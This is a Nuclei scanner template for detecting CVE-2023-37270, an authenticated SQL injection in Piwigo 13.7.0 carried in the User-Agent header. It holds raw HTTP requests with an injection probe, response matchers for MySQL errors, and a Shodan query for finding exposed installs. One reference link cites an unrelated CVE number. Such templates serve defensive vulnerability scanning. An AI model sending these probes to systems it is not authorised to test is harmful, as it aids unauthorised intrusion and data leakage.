61 lines
2.7 KiB
YAML
61 lines
2.7 KiB
YAML
id: CVE-2023-37270
|
|
|
|
info:
|
|
name: Piwigo 13.7.0 - SQL Injection
|
|
author: ritikchaddha
|
|
severity: high
|
|
description: |
|
|
Piwigo is open source photo gallery software. Prior to version 13.8.0, there is a SQL Injection vulnerability in the login of the administrator screen. The SQL statement that acquires the HTTP Header `User-Agent` is vulnerable at the endpoint that records user information when logging in to the administrator screen. It is possible to execute arbitrary SQL statements. Someone who wants to exploit the vulnerability must be log in to the administrator screen, even with low privileges. Any SQL statement can be executed. Doing so may leak information from the database. Version 13.8.0 contains a fix for this issue. As another mitigation, those who want to execute a SQL statement verbatim with user-enterable parameters should be sure to escape the parameter contents appropriately.
|
|
remediation: |
|
|
Upgrade to a patched version of Piwigo or apply the necessary security patches provided by the vendor.
|
|
reference:
|
|
- https://github.com/Piwigo/Piwigo/security/advisories/GHSA-934w-qj9p-3qcx
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2023-27524
|
|
- https://github.com/Piwigo/Piwigo/blob/c01ec38bc43f09424a8d404719c35f963d63cf00/include/dblayer/functions_mysqli.inc.php#L491
|
|
- https://github.com/Piwigo/Piwigo/blob/c01ec38bc43f09424a8d404719c35f963d63cf00/include/functions.inc.php#L621
|
|
- https://github.com/Piwigo/Piwigo/commit/978425527d6c113887f845d75cf982bbb62d761a
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 8.8
|
|
cve-id: CVE-2023-37270
|
|
cwe-id: CWE-89
|
|
epss-score: 0.01401
|
|
epss-percentile: 0.84967
|
|
cpe: cpe:2.3:a:piwigo:piwigo:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
verified: true
|
|
max-request: 2
|
|
vendor: piwigo
|
|
product: piwigo
|
|
shodan-query: http.favicon.hash:540706145
|
|
tags: cve,cve2023,piwigo,sqli,authenticated
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /identification.php HTTP/1.1
|
|
Host: {{Hostname}}
|
|
User-Agent: '">{{7*7}}${2*2}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
username={{username}}&password={{password}}&login=
|
|
- |
|
|
GET /admin.php?page=user_activity HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
host-redirects: true
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body_2
|
|
words:
|
|
- 'Warning: [mysql error'
|
|
- 'INSERT INTO'
|
|
- 'SQL syntax;'
|
|
condition: and
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
# digest: 4a0a00473045022100d6a8398bffb92a55801cb750ff88df41c6e54810ed269613bfabcd19ae26c8d3022003fa2993aa4adc53b212c42078ec72c15ba56c61cbd6f0ea0474a1d0a329bf22:922c64590222798bb761d5b6d8e72950 |